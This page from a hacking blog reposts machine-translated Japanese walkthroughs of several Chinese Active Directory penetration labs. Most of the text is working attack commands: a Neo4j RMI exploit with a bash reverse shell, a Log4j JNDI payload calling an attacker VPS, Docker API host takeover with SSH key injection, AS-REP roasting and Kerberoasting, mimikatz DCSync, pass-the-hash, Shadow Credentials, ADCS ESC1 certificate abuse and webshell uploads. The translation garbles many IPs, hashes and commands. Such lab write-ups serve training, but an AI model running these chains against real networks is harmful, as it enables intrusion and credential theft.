Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108791

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

命令

時間は、中程度の難易度を持つ射撃場環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Neo4J、Kerberos、特権の昇格、ドメイン浸透

最初のフラグ

屋外IP情報コレクション

Infoscanを開始

(ICMP)ターゲット'39 .98.236.25 'は生きています

ICMP AliveホストLen IS: 1

39.98.236.25:22オープン

39.98.236.25:1337オープン

39.98.236.25:7474オープン

39.98.236.25:7473オープン

39.98.236.25:7687オープン

39.98.236.25:3555オープン

Alive Ports Len IS: 6

Vulscanを開始します

完成0/6 [ - ] Webtitle http://39.98.236.25:7473 GET 'http://39.98.236.25:7473'3360 Net/HTTP: HTTP/1.Xトランスポート'\ x15 \ x03 \ x03 \ x00 \ x02 \ x02p'

[*] webtitle:33333399.98.236.25:7474 code:200 len:145 title3360none

[*] webtitle:333333399.98.236.25:7687 code:400 len3:0 title:none

[*] webtitle:3333333939.98.236.25:7687 code:400 len3:0 title:none

6/6を完了しました

スキャンエンド

neo4j不正rce

NEO4Jは、オープンソースグラフデータベース管理システムです。

NEO4J 3.4.18以前には、Neo4Jシェルインターフェイスが有効になっている場合、攻撃者は任意の方法をRMIプロトコルを介して不正なアイデンティティとして呼び出すことができます。この脆弱性はRMIの劣るものではないため、Javaバージョンの影響はありません。 Neo4J 3.5以降のバージョンでは、Neo4Jシェルはサイバーシェルに置き換えられました。

https://github.com/zwjjustdoit/cve-2021-34371.jar

Java -jar Rhino_gadget.jar Rmi3360 //39.98.236.2533601337 'Bash -C {echo、ymfzacatasa+jiavzgv2l3r . nc81ntu1ida+jje=} | 1049983-20230307110559021-177737673.pngバウンスシェル

1049983-20230307110559740-99216481.pngフラグを見つけます

1049983-20230307110600465-112496222.png最初のフラグを取得します

1049983-20230307110601246-816106515.png

2番目のフラグ

イントラネット浸透

アップロードエージェントとFSCAN

Infoscanを開始します

完了0/0 IP4:ICMP 0.0.0.0: Socket:操作は許可されていません

runicmp2を試してみます

ICMPパケットを送信できない現在のユーザー権限

pingを開始します

(ICMP)ターゲット172.22.6.12は生きています

(ICMP)ターゲット172.22.6.25は生きています

(ICMP)ターゲット172.22.6.38は生きています

(ICMP)ターゲット172.22.6.36は生きています

[*] ICMP Alive Hosts Len IS: 4

172.22.6.25:445オープン

172.22.6.12:445オープン

172.22.6.25:139オープン

172.22.6.12:139オープン

172.22.6.25:135オープン

172.22.6.12:135オープン

172.22.6.38:80オープン

172.22.6.36:22オープン

172.22.6.38:22オープン

172.22.6.36:7687オープン

172.22.6.12:88オープン

[*] Alive Ports Len IS: 11

Vulscanを開始します

[+] NetInfo:

[*] 172.22.6.25

[ - ] Win2019

[ - ] 172.22.6.25

[+] NetInfo:

[*] 172.22.6.12

[ - ] dc-progame

[ - ] 172.22.6.12

[*] 172.22.6.12 [+] DC Xiaorang \ DC-Progame Windows Server 2016 DataCenter 14393

[*] 172.22.6.25 Xiaorang \ Win2019

[*] 172.22.6.12(Windows Server 2016 Datacenter 14393)

[*] webtitle:3333333333333:200 len:1531 title:バックエンドログイン

[*] webtitle:33333333333333333363633607687 code:400 len:50 title:none

11/11

SQL注入

に記入してくださいhttp://172.22.6.38にアクセスしてください。これはデータパケットをクロールするログインページです

post /index.php http /1.1

HOST: 172.22.6.38

Content-Length: 30

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://172.22.6.38

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

参照: http://172.22.6.38/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉じます

username=adminpassword=1111111 sqlmapを使用したテストインジェクション(プロセス省略)

sqlmap -r 1.txt - dump -t oa_f1agggg -d oa_db -batch 2番目のフラグを取得します

1049983-20230307110602079-2019239499.png

OA_ADMINテーブルとOA_USERSテーブルもあります。これは、ユーザーテーブルに500のユーザー名を辞書Username.txtに収集します

1049983-20230307110603044-594852005.png

‍‍ frag

ドメインユーザー列挙

Kerberos 'As-Req認証で、CNAME値のユーザーが存在しない場合、パッケージはKDC_ERR_C_PRINCIPAL_UNKNOWNをプロンプトします。

https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum - dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kaliのプロキシ実行は成功しておらず、結果も表示されません。ファイルはエントリマシンに渡され、結果はリモート実行後にのみ取得されます

1049983-20230307110604060-1494380176.png合計74人のユーザーがいます。

1049983-20230307110604911-275497764.png

as-reproasting

ドメインユーザーの場合、オプションがKerberosの事前認定を必要としない場合(Kerberosの事前識別は必要ありません)、AS-REQリクエストをドメインコントローラーの88ポートに送信し、受信したAS-REPコンテンツを再結合し、「Kerberos 5 As-Rep Etype 23」の形式にスプライスできます。次に、HashcatまたはJohnを使用してそれをクラックし、最終的にユーザーのPlantextパスワードを取得できます。

事前に認識されていないアカウントを見つけます

proxychains python3 getnpusers.py -dc -ip 172.22.6.12 -usersfile user.txt xiaorang.lab/1049983-20230307110605674-1336457543.png

2つのアカウントを入手してくださいwenshao@xiaorang.lab、zhangxin@xiaorang.lab

$ KRB5ASREP 23 $ 23 $ wenshao@xiaorang.lab@xiaorang.lab3360b6c410706b5e96c693b2fc61ee1064c3 $ 2dc9fe784e79973333f30c6bc422222222222222222222222BBA94Be7022222222222222e 8C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113 A86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3 E42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892 DA55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB29994

$ KRB5ASREP 23 $ 23 $ ZHANGXIN@XIAORANG.LAB@XIAORANG.LAB:971802B84CE99050AD3C5F49D11FD0B7 $ 6C1BE075C3CF2A7695529DE2E2EBB39C3C3C3C3C3C3C3C39C5C5C7E5326C926C91DAC26C926C926C91DAC26C9 9892F76BEFE52C860E4E1E2FF6537A5765A6BCB6B8BACA792D60765AC0BBE1B3C5E59F3 EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC41167 7BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D825B38 28744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C6805915163 54460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC94103F59D9511691090928E98D0D8978F51E71FD9DB0067FA0928E928E98E98D0D8978F510FATATATATATATATATAITA Hashcatを使用して復号化します

Hashcat -M 18200 - Force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af4 18C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113A 86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3E 42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892D A55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB2994 ' Rockyou.txt 1049983-20230307110606793-1960228635.pnghashcat -m 18200 - force -a 0 '$ KRB5ASREP $ 23 $ $ ZHANGXIN@Xiaorang.lab@Xiaorang.LAB:971802B84CE999050AD3C5F49D11FD0B7 $ 6C1BE075C3C3C3CF2A76955529DE2EBBF39C5C5EC7E5326C926C91891DAC7E5326C91891DAC7E51891DAC7E5326C91891DAC7E526C9189189189189 b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e 59F3EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC 411677BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D 825B3828744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C680 591516354460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC 94103F59D9511691090928E98D0D8978F511E71FD9DB0067FA0D450C120F3726918D7 '' Rockyou.txt 1049983-20230307110607685-1928545708.pngこの方法では、2つのアカウントとパスワードを取得しました

zhangxin@xiaorang.lab/strawberry

wenshao@xiaorang.lab/hellokitty

ドメイン環境分析

ドメインアカウントでログイン172.22.6.25、データ収集のためにSharphoundをアップロード

1049983-20230307110608564-1306420426.pngSharphound.exe -Cすべてのエクスポートファイルには複数のJSonが含まれており、ドメイン内のさまざまな関係を節約します

1049983-20230307110609478-1506458586.pngデータをブラッドハウンドにアップロードし、分析をクリックして、ドメイン管理者への最短パスを見つけます

ドメイン管理者への最短のパスを見つける厚から薄いまでのパスは、XXがXXに持っている権限または関係です。したがって、パスは次のとおりです

1049983-20230307110610336-1467436480.png Bloodhoundから、ユーザーYuxuanを行うために必要な次のステップがわかることがわかります

Windows自動ログイン

Hassession:ユーザーがコンピューターでセッションを行っている場合、資格情報はメモリに保持され、YuxuanがWin2019にログインしたことを示します

多くのユーザーは、自動的にログインするコンピューターのセットアップに使用されており、MSFを使用してユーザー名とパスワードを自動的にログインすることができます。

ポジティブシェルになります

msfvenom -p Windows/MeterPreter/bind_tcp -f exe -o shy.exeその後、ターゲットマシンWin2019(172.22.6.25)にアップロードして実行して実行します

プロキシと接続を使用してMSFを実行します

Exploit/Multi/Handlerを使用します

ペイロードWindows/MeterPreter/bind_tcpを設定します

RHOST 172.22.6.25を設定します

1049983-20230307110611400-894446148.pngを実行して、自動ログインのパスワードをクロールします

MeterPreter Run Run Windows/Graching/Credentials/Windows_Autologin 1049983-20230307110612244-1529844444.pngここでパスワードをキャッチしておらず、続行できませんでした。

他の人のWPが続行するのを見続ける方法はありません。

パスワードをつかんでYuxuan/Yuxuan7Qbrgz3lを入手してください。

1049983-20230307110613213-1178765707.png

ハッシュパス

Hassidhistory:ユーザーのSID履歴。ユーザーがドメインに移行した後、チケットには前のドメインが配置されているグループのSIDも含まれています。ユーザーは以前のドメインに属していませんが、以前のドメインへの許可がまだあります。

Yuxuanを使用して、管理者のハッシュをキャプチャします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110614013-1199004682.png

プロキシチャインCrackmapexec SMB 172.22.6.25 -U Administrator -H04D93FD6F5F6E4490E0DE23F40A5E9 -D XIAORANG.LAB -X 'タイプユーザー\ Administrator \ Administrator \ flag \ flag03.txt' https://zhuanlan.zhihu.com/p/582525371

命令

不正は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネット浸透における横方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透に興味深い技術的ポイントを習得するのに役立ちます。射撃場には3つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

FTP、特権標高、AD CS、Kerberos、ドメイン浸透

最初のフラグ

dockerは承認されていません

外部ネットワーク情報を通じて収集された、Dockerが許可されていないことがわかった

https://cloud.tencent.com/developer/article/1744943

1049983-20230307110439373-897625583.pngミラーを表示します

Docker -H TCP3360 //47.92.7.138:2375画像1049983-20230307110440125-1811605968.pngコンテナの閲覧

Docker -H TCP3360 //47.92.7.138:2375 PS -A 1049983-20230307110440734-1869544517.pngコンテナを起動し、ホストディスクを/MNTにマウントします

Docker -H TCP3360 //47.92.7.138:2375 RUN -IT -V/:/MNT -ENTRYPOINT/BIN/BASH/BASH UBUNTU:18.04 1049983-20230307110441418-169215008.png

公開鍵を書きます

を生成します。 Enterを押した後、3つの相互作用があります。最初のものはファイル名で、デフォルトではID_RSAです。変更する必要がある場合は、ファイル名を自分で入力してください。 2番目と3番目は、パスワードと確認パスワードです。これは、将来公開キーを使用するときに入力するパスワードです。それらは通常設定されていません。強力なセキュリティニーズがある場合は、自分で設定できます。最後に、2つのファイルid_rsa、id_rsa.pubが生成されます。pubのエンディングは公開キーであり、もう1つは秘密鍵です

ssh-keygen -t rsa 1049983-20230307110442223-521307798.pngターゲットマシンホストの/root/.ssh/authorized_keysファイルに公開キーを書き込む

cd /mnt/root/.ssh/

Echo 'SSH-RSA AAAAB3NZAC1YC2 ..' Authorized_Keys 1049983-20230307110443198-1135312253.png秘密キーをローカルで直接SSHに直接ログインできます

1049983-20230307110443995-1365905384.pngフラグを調べて、旗がここにないように促します

1049983-20230307110444805-1391905342.png

mysql弱いパスワード

このマシンの開いたポートを表示します

netstat -aptn 1049983-20230307110445835-921831822.png履歴コマンドを確認し、MySQLパスワードが123456であることを確認します。実際、爆破することもできます。

履歴1049983-20230307110446520-658369048.pngアクセスmysqlデータベース

mysql -uroot -p123456

MySQLショーデータベース。

mysqlは秘密を使用します。

MySQLは表を表示します。

mysql select * from f1agggg01から最初のフラグを取得します

1049983-20230307110447244-1248407839.png

secondフラグ

ハンドアロンの浸透

アップロードNPC設定プロキシ、FSCANスキャン172.22.7.0/24

172.22.7.67:8081オープン

172.22.7.13:80オープン

172.22.7.13:22オープン

172.22.7.67:445オープン

172.22.7.31:445オープン

172.22.7.67:21オープン

172.22.7.63360445オープン

172.22.7.67:80オープン

172.22.7.67:139オープン

172.22.7.31:139オープン

172.22.7.6:139オープン

172.22.7.31:135オープン

172.22.7.67:135オープン

172.22.7.6:135オープン

172.22.7.6:88オープン

172.22.7.13:2375オープン

[+] NetInfo:

[*] 172.22.7.6

[ - ] DC02

[ - ] 172.22.7.6

[*] 172.22.7.67 Xiaorang \ win-9bmcsg0s

[*] webtitle:33333333333333:200 len:27170 title:xxデコレーション

[+] NetInfo:

[*] 172.22.7.67

[ - ] win-9bmcsg0s

[ - ] 172.22.7.67

[+] NetInfo:

[*] 172.22.7.31

[ - ] ADCS

[ - ] 172.22.7.31

[*] 172.22.7.31 Xiaorang \ adcs

[*] 172.22.7.6 [+] DC Xiaorang \ dc02

[*] webtitle:333333333333333333:2375 code:404 len:29 title:none

[+] ftp: //172.22.7.67:213360anonymous

[ - ] 1-1p3201024310-l.zip

[ - ] 1-1p320102603c1.zip

[ - ] 1-1p320102609447.zip

[ - ] 1-1P320102615Q3.ZIP

[ - ] 1-1p320102621j7.zip

[ - ] 1-1p320102j30-l.zip

[*] webtitle:33333333333:200 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333:8081 code:200 len:4621 title33:会社管理バックエンド

[+] http://172.22.7.13:2375 POC-YAML-DOCKER-API-UNAOTORIZED-RCE

[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file

[+] http://172.22.7.13:2375 Poc-Yaml-go-pprof-Leak 010-3http://172.22.22.7.67:8081/www.zipバックアップ圧縮パッケージ。減圧後、ダウンロードフォルダーが匿名でログに記録されているFTPの共有ファイルと一致していることがわかりました

したがって、1049983-20230307110448166-1687460793.pngしたがって、WebShellはFTPを介してアップロードできます

1049983-20230307110449088-758201621.pngシェルアドレス

http://172.22.7.67:8081/download/shell.asp 1049983-20230307110449800-657193850.pngジャガイモを直接使用して権利を増やし、sweetpotato.exeをアップロードします

sweetpotato.exe -a 'whoami' 1049983-20230307110450532-2131991191.pngテスト後、3389が有効になります。アカウントを直接追加してログインします

sweetpotato.exe -a 'ネットユーザーdevyn admin@123 /add'

sweetpotato.exe -a 'net localgroup管理者devyn /add' 1049983-20230307110451238-67786808.png Get Flag

1049983-20230307110451947-1217760269.png

ftp認定

この新しく作成されたユーザーはドメインコマンドを実行できないため、ドメインアカウントを照会してからPTHでログインする必要があることに注意してください。パスワードを見つけた場合は、直接ログインできます。実際、シェル内のMimikatzを直接実行してハッシュをつかむことができます。ここのリモートデスクトップは、CMDを使用して実行する方が便利です。

ドメインアカウントをrawったZhangfeng/fenzgtavf6en、ドメインアカウントで再度ログインするには、zhangfeng@xiaorang.labにユーザー名を入力する必要があることに注意してください。

1049983-20230307110452716-534730590.png

shurd 3番目のフラグ

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

次のアカウントには、MSDS-Keycredentiallinkプロパティへの書き込み許可があります。

ドメイン管理者アカウント主要な管理者グループアカウントエンタープライズキー管理者グループアカウントを備えたアクティブディレクトリのオブジェクトへの一般的または汎用ライターのアクセス許可は、主要な管理者グループのMSDS-KeycredentiallinkプロパティZhangfengアカウントへの書き込み権限を持っています。

1049983-20230307110453410-454769109.pngADDドメインコントローラーのMSDS-KeyCredentiAllinkプロパティへの影の資格情報

whisker.exe add /target:dc02 $ /domain:xiaorang.lab /dc:dc02.xiaorang.lab 1049983-20230307110454285-1911397589.png919追加の追加が成功した後、プログラムは証明書の認証に基づくTGTチケットを要求するコマンドを促します。プロンプトコマンドが最後に /PTTに追加されることに注意してください

1049983-20230307110455197-1657870621.pngドメインコントローラーアカウントには特権があり、Mimikatzを使用してDCSYNCを実行してドメインハッシュをエクスポートできます

mimikatz.exe 'privilege:3360debug' 'lsadump:dcsync /domain:xiaorang.lab /user3360administrator'出口1049983-20230307110455933-1868157370.png 00000000000000000000000000000000003360BF967C5A0F7256E2EABA589FBD29A382 ADIVISTORATOR@172.22.7.6 1049983-20230307110456914-34394100.png 1049983-20230307110457900-1641963904.png元のリンク: https://zhuanlan.zhihu.com/p/581451146

命令

認定は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

SOLR、AD CS、SMB、Kerberos、ドメイン浸透

最初のフラグ

log4j rce

外部ネットワークIPをスキャンします

1049983-20230307110517262-27201457.png solrにはlog4jコンポーネントがあることを発見しました。

1049983-20230307110518011-2082945395.pngget /Solr/admin/cores?action=$ {jndi:ldap://1p9bvr.dnslog.cn} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉鎖1049983-20230307110518750-1249723470.pngDNSLOGエコー

1049983-20230307110519454-847276684.pngJNDIリバウンドシェル、VPSで開きます

#悪意のあるクラスの読み込み

Java -jar Jndiexploit -1.3 -snapshot.jar -i 47.103.xx.xxx

#enable監視

NC -LVVP 5555 1049983-20230307110520161-1238749396.pngPAYLOAD

$ {jndi:ldap3360 //47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555}リクエストを送信します

/solr/admin/cores?action=$ {jndi:ldap3360//47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection: Closeはシェルを正常にリバウンドします

1049983-20230307110520957-1838953280.pngsudoの権利のエスカレーション

Sudo -l 1049983-20230307110521790-296300015.pngSudo Grc - Help 1049983-20230307110522600-1875494381.pngSudo Grc-Pty Whoami 1049983-20230307110523204-310705807.png FIND FLAG

sudo grc -pty find/-nameフラグ* 1049983-20230307110523944-186127248.png出力フラグ

sudo grc -pty cat /root/flag/flag01.txt 1049983-20230307110524763-1879119967.png

2番目のフラグ

イントラネット浸透

エージェントのエージェントとイントラネットをスキャンします。詳細は説明しません(HTTPサービスのセットアップ、NPCとFSCANのダウンロード)

172.22.9.13:445オープン

172.22.9.26:445オープン

172.22.9.47:445オープン

172.22.9.73360445オープン

172.22.9.26:139オープン

172.22.9.47:139オープン

172.22.9.7:139オープン

172.22.9.26:135オープン

172.22.9.13:139オープン

172.22.9.13:135オープン

172.22.9.7:135オープン

172.22.9.26:80オープン

172.22.9.47:80オープン

172.22.9.19:80オープン

172.22.9.47:22オープン

172.22.9.47:21オープン

172.22.9.19:22オープン

172.22.9.7:88オープン

172.22.9.19:8983オープン

[+] NetInfo:

[*] 172.22.9.13

[ - ] CA01

[ - ] 172.22.9.13

[*] 172.22.9.7 [+] DC Xiaorang \ Xiaorang-DC

[*] 172.22.9.26 Xiaorang \ desktop-cbktvmo

[+] NetInfo:

[*] 172.22.9.26

[ - ] desktop-cbktvmo

[ - ] 172.22.9.26

[+] NetInfo:

[*] 172.22.9.7

[ - ] Xiaorang-DC

[ - ] 172.22.9.7

[*] 172.22.9.13 Xiaorang \ Ca01

[*] webtitle:3http://172.22.9.47 code:200 len:10918 title:apache2 ubuntuデフォルトページ:

[*] webtitle:3333333333333:200 len:612 title:welcome nginx!

[*] 172.22.9.47 WorkGroup \ Fileserver Windows 6.1

[*] 172.22.9.47(Windows 6.1)

[*] webtitle:333333333333333333333333:8983 code:3022 len3:0 title:noneジャンプURL: http://172.22.9.99:8983/SOLR/

[*] webtitle:33333333333333:26 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333333333333333333333:8983/solr/code:200 len:16555 title:solr adminは、以下の資産を発見しました

172.22.9.19入学IP

172.22.9.7 DC

172.22.9.26ドメインメンバー

172.22.9.47ファイルサーバー

172.22.9.13 CAプロンプトによれば、ファイルサーバーには情報をさらに収集するためにSMB共有が必要です

注:FSCANはSMBの共有モードをスキャンしないため、NMAPを使用してスキャンできます

sudo grc -pty nmap -st -a 172.22.9.47 1049983-20230307110525634-224058230.pngを使用して共有に接続する

proxychains smbclient \\\\ 172.22.9.47 \\ fileshare

監督

人事を取得します。DB

secret \ flag02.txt 1049983-20230307110526730-874103981.png Get Falg02を取得すると、SMBが列挙されている別のプロンプトがあります。しかし、あなたはSPNが何であるか知っていますか?

1049983-20230307110527663-561253035.png

3番目のフラグ

データベースファイルにはいくつかのユーザー名とパスワードがあります

1049983-20230307110528608-1922222552.pngRDPクラック

プロキシチェーンHydra -l user.txt -p pwd.txt 172.22.9.26 RDP -VV -E NS 1049983-20230307110529424-1574261648.png

kerberost攻撃

getUserSpns.pyを使用して、ドメインユーザーの下に登録されているSPNを見つける

Proxychains python3 getuserspns.py -request -dc -ip 172.22.9.7 xiaorang.lab/zhangjian 1049983-20230307110530267-940825500.pnghashオフラインクラッキング、非常に速く、1.txtはハッシュ値です。

hashcat64.exe -m 13100 1.txt rockyou.txt 1049983-20230307110531096-261013704.png get zhangxia/mypass2 @@ 6、アカウントパスワードを使用してリモートでログインします

ドメインアカウントであるため、ユーザー名はzhangxia@xiaorang.labであることに注意してください。ログインした後、管理者の許可ではないため、管理者ディレクトリに直接アクセスしてフラグを見つけることはできません。

1049983-20230307110531761-1694751780.png

ADCS ESC1

certify.exeを使用して脆弱性を見つけます

certify.exe検索/脆弱な1049983-20230307110532827-710567663.pngESC1利用前提条件:

mspki-certificates-name-flag: enrollee_supplies_subject

この証明書テンプレートに基づいて新しい証明書を申請したユーザーが、他のユーザー、つまりドメイン管理者ユーザーを含むユーザーに証明書を申請できることを示します。

pkiextendedkeyusage:クライアント認証

この証明書テンプレートに基づいて生成された証明書を使用して、Active Directoryでコンピューターを認証できることを示します

登録権: NT Authority \認証ユーザー

Active Directoryの認証されたユーザーが、この証明書テンプレートに基づいて生成された新しい証明書を要求できることを示します

ドメイン管理の証明書を申請します

certify.exe request /ca:ca01.xiaorang.lab\xiaorang-ca01-ca /template:'xr manager ' /altname:xiaorang.lab\administrator 1049983-20230307110533809-973528015.png

フォーマットを変換します

OpenSSL PKCS12 -in CERT.PEM -KEYEX -CSP 'Microsoft Enhanced Cryptographic Provider V1.0' -Export -out Cert.PFXリクエストTGT、PTT

証明書をエクスポートして変換するときに入力されたパスワードがないため、ここにパスワードを空白のままにしておくだけです

rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt 1049983-20230307110535013-1306229124.pngドメインマネージャーからチケットを取得した後、ハッシュをエクスポートします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110535889-669844448.png

ハッシュパス

PTH 172.22.9.26

プロキシチャインCrackmapexec SMB 172.22.9.26 -U Administrator -H2F1B57EEFB2D152196836B05166666666660 -D Xiaorang.lab -X 'タイプユーザー\管理者\ flag \ flag03.txt'

ProxyChains Python3 wmiexec.py -Hashes 00000000000000000000000000000000000000000000000000000:2F1B57EEFB2D152196836B0516ABEA80管理者@172.22.9.71049983-20230307110538028-1871985575.png元リンク: https://zhuanlan.zhihu.com/p/581487685

ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです

ik5rrv4oxzo3033.pngが存在します5.0.23 RCE

l0zukody33i3034.png、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください

pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment

lefmxmf2zzg3035.pngトランスミッションはすぐに、アリの剣の接続はwww-data許可です。

2dybdct2vo53036.png以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です

許可を与えられている猫/などを試してみてください。

l5mlmr1ymxm3037.pngこのウェブサイトはコマンドの標高のリファレンスを提供できます

bgbe1yabpzk3038.pngは、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します

43omywaba5m3039.pngifconfigチェックIP

bys3mdkv3xj3040.png fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。

172.22.1.18:3306オープン

172.22.1.2:88オープン

172.22.1.21:445オープン

172.22.1.18:445オープン

172.22.1.2:445オープン

172.22.1.21:139オープン

172.22.1.18:139オープン

172.22.1.2:139オープン

172.22.1.21:135オープン

172.22.1.18:135オープン

172.22.1.2:135オープン

172.22.1.18:80オープン

172.22.1.15:80オープン

172.22.1.15:22オープン

[*] 172.22.1.2(Windows Server 2016 Datacenter 14393)

[+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1)

[+] NetInfo:

[*] 172.22.1.21

[ - ] Xiaorang-Win7

[ - ] 172.22.1.21

[+] NetInfo:

[*] 172.22.1.18

[ - ] Xiaorang-OA01

[ - ] 172.22.1.18

[+] NetInfo:

[*] 172.22.1.2

[ - ] DC01

[ - ] 172.22.1.2

[*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393

[*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者

[*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600

[*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1

[*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー

[*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム

[+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1

.15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです

NPS+Proxifier Proxyを使用した転送、最初に.18を見てください

pndzxcefyak3041.pngそれを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。

2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。

dwy4ucpfing3042.png最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します

wx2wq5iloax3043.png秒ステップSET GLOBAL general_log=on;ログをオンにします

